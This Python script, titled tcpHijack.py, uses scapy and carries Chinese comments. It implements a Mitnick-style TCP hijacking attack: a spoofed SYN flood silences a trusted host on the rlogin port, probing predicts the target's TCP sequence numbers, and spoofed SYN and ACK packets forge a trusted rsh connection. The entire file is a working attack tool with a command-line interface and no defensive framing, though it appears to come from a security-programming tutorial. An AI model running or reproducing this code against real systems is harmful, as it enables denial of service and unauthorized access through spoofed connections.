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tcpHijack.py
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tcpHijack.py
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# coding=UTF-8
import optparse
from scapy.all import *
from scapy.layers.inet import *
#SYN洪水攻击
def synFlood(src,tgt):
for sport in range(1024,65535):
IPlayer = IP(src=src,dst=tgt)
TCPlayer = TCP(sport = sport,dport=513)
pkt = IPlayer/TCPlayer
send(pkt)
#预测TCP序列号
def calTSN(tgt):
seqNum = 0
preNum = 0
diffSeq = 0
for x in range(1,5):
if preNum!=0:
preNum =seqNum
pkt = IP(dst=tgt)/TCP()
ans = sr1(pkt,verbose=0)
seqNum = ans.getlayer(TCP).seq
diffSeq = seqNum-preNum
print('[+] TCP Seq Differnece:' + str(diffSeq))
return seqNum + diffSeq
#发送ACk欺骗包
def spoofConn(src,tgt,ack):
IPlayer = IP(src=src,dst=tgt)
TCPlayer = TCP(sport=513,dport=514)
synPkt = IPlayer/TCPlayer
send(synPkt)
IPlayer = IP(src=src,dst=tgt)
TCPlayer = TCP(sport=513,dport=514,ack=ack)
ackPkt = IPlayer/TCPlayer
send(ackPkt)
def main():
parser = optparse.OptionParser('usage%prog -s<src for SYNFlood> '
'-S <src for spoofed connection> -t<target address>')
parser.add_option('-s',dest='synSpoof',type='string',help='specify src for SYNFlood')
parser.add_option('-S',dest='srcSpoof',type='string',help='specify src for spoofed connection')
parser.add_option('-t',dest='tgt',type='string',help='specify target address')
(options,args) = parser.parse_args()
if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:
print(parser.usage)
exit(0)
else:
synSpoof = options.synSpoof
srcSpoof = options.srcSpoof
tgt =options.tgt
print('[+] Starting SYN Flood to suppress remote server.')
synFlood(synSpoof,srcSpoof)
print('[+] Calculating correct TCP Sequence Number.')
seqNum = calTSN(tgt) + 1
print('[+] Spoofing Connection.')
spoofConn(srcSpoof,tgt,seqNum)
print('[+] Done.')
if __name__ == '__main__':
main()